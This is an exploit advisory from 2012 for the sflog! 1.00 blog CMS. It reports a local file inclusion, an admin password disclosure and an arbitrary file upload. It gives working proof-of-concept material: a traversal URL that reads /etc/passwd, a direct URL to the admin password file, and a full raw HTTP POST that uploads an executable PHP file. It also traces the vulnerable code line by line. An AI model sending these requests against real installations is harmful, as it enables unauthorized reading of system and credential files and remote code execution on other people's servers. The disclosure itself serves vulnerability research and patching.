sflog! 1.00 LFI / Password Disclosure / Shell Upload

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[ Discovered by dun \ posdub[at]gmail.com ]  
[ 2012-07-05 ]  
#################################################  
# [ sflog! <= 1.00 ] Multiple Vulnerabilities #  
#################################################  
#  
# Script: "sflog! is a flat and light CMS::Blog system."  
#  
# Vendor: http://sourceforge.net/projects/sflog/  
# Download: http://sourceforge.net/projects/sflog/files/sflog/  
#  
#  
# [ LFI ]  
#  
# PoC: http://localhost/sflog/index.php?blog=admin&section=../../../../../../../etc/&permalink=passwd  
#  
# File: ./sflog/index.php (lines: 1, 53)  
# ..cut..  
# 1 <?php include("./includes/pageHeader.inc.php"); ?> // 1  
# ..cut..  
#  
# 53 require_once("./includes/entries.inc.php"); // 4  
# ..cut..  
#  
# File: ./sflog/includes/pageHeader.inc.php (lines: 20, 35)  
# ..cut..  
# 20 $_blogID = $_GET['blog']; // 2  
# ..cut..  
#  
# 35 $_sectionID = $_GET['section']; // 3  
# ..cut..  
#  
# File: ./sflog/includes/entries.inc.php (lines: 2-11)  
# ..cut..  
# 2 include_once("./cms/BlogEntry.class.php"); // 5  
# 3 include_once("./cms/Blog.class.php");  
# 4 $blog = new BlogEntry($_blogID,$_sectionID); // 6  
# 5 $cms = new Blog();  
# 6 $pages = $cms->getPostPerPage($_blogID);  
# 7  
# 8 // checks for permalink  
# 9 if (isset($_GET['permalink'])){  
# 10 $_permalink = $_GET['permalink']; // 8  
# 11 $blog->showEntry($_permalink); // 9  
# ..cut..  
#  
# File: ./sflog/cms/BlogEntry.class.php (lines: 37-85)  
# ..cut..  
# 37 class BlogEntry {  
# ..cut..  
# 47 function BlogEntry($blogID,$sectionID){ // 7  
# 48 error_reporting(E_USER_ERROR); //  
# 49 $this->blogID = $blogID; //  
# 50 $this->sectionID = $sectionID; //  
# 51 }  
# ..cut..  
# 57 function showEntry($entryID){ // 10  
# ..cut..  
# 60 $JournalContentDir = "./blogs/".$this->blogID."/data/".$this->sectionID; // 11  
# ..cut..  
# 80 $JournalContent = $JournalContentDir."/".$entryID; // 12  
# ..cut..   
# 83 include_once $JournalContent; // 13 [LFI]  
# ..cut..  
#   
#################################################  
# [ Admin Password Disclosure ]  
#  
# PoC: http://localhost/sflog/admin/passwd  
#   
#################################################  
# [ Arbitrary File Upload ]  
#  
# File: ./sflog/admin/includes/uploadContent.inc.php (lines: 62-72)  
# ..cut..  
# 62 if (trim($_FILES['fileID']['name'])!=''){  
# 63 $uploaddir = BLOG_PATH.$blogID.BLOG_UPLOADS;  
# 64 $uploadfile = $uploaddir . basename($_FILES['fileID']['name']);  
# 65 echo '<pre>';  
# 66 if (move_uploaded_file($_FILES['fileID']['tmp_name'], $uploadfile)) {  
# 67 print(UPLOAD_SUCCESS);  
# 68 } else {  
# 69 print('<font color="red">'.UPLOAD_FAILED.'</font>');  
# 70 }  
# 71 print "</pre>";  
# 72 }  
# ..cut..  
#  
# PoC:  
#  
# POST /sflog/admin/includes/uploadContent.inc.php HTTP/1.1  
# Host: localhost  
# User-Agent: Mozilla/5.0  
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
# Accept-Language: pl,en-us;q=0.7,en;q=0.3  
# Accept-Encoding: gzip, deflate  
# Connection: keep-alive  
# Content-Type: multipart/form-data; boundary=---------------------------4827543632391  
# Content-Length: 411  
# -----------------------------4827543632391  
# Content-Disposition: form-data; name="blogID"  
#   
# admin  
# -----------------------------4827543632391  
# Content-Disposition: form-data; name="MAX_FILE_SIZE"  
#   
# 0  
# -----------------------------4827543632391  
# Content-Disposition: form-data; name="fileID"; filename="info.php"  
# Content-Type: text/x-php  
#   
# <?php phpinfo(); ?>  
#   
# -----------------------------4827543632391--  
#   
#   
# Uploaded file will be here: http://localhost/sflog/blogs/admin/uploads/info.php  
#   
### [ dun / 2012 ] #####################################################`